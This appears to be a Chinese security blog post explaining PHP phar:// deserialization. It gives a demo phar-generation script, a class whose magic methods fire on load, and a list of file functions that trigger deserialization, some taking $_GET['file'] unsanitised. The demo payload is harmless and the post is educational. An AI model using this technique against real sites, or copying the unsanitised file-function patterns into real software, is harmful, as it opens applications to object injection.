漏洞作用

在不使用unserialize()函数的情况下触发PHP反序列化漏洞

触发条件

使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Meta data 信息会被反序列化 如果要生成phar文件,要在php.ini中把phar只读给关闭

php.ini
[Phar]
phar.readonly = Off

案例演示

<?php

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >'); 

// add object of any class as meta data

class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
php -c /Applications/XAMPP/xamppfiles/etc/php.ini phar.php //执行生成的文件如下

upload successful

<?php
// add object of any class as meta data
class AnyClass {
    function __destruct(){
        echo $this->data;
    }
    function __sleep(){
        echo 'sleep';
    }
   function __wakeup(){
       echo 'wakeup<br>';
   }
}
include('phar://test.phar'); // 触发反序列化

upload successful

能够触发反序列化的函数有

include('phar://test.phar');
var_dump(file('phar://test.phar'));
var_dump(fopen('phar://test.phar','r'));
var_dump(file_get_contents('phar://test.phar'));
var_dump(file_get_contents('phar://test.jpg'));(把文件名改成jpg也有效)
var_dump(file_exists('phar://test.phar'));
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);

refer

https://mp.weixin.qq.com/s/TNAdeBNBErYjtTGGfentFg



学习研究      phar反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!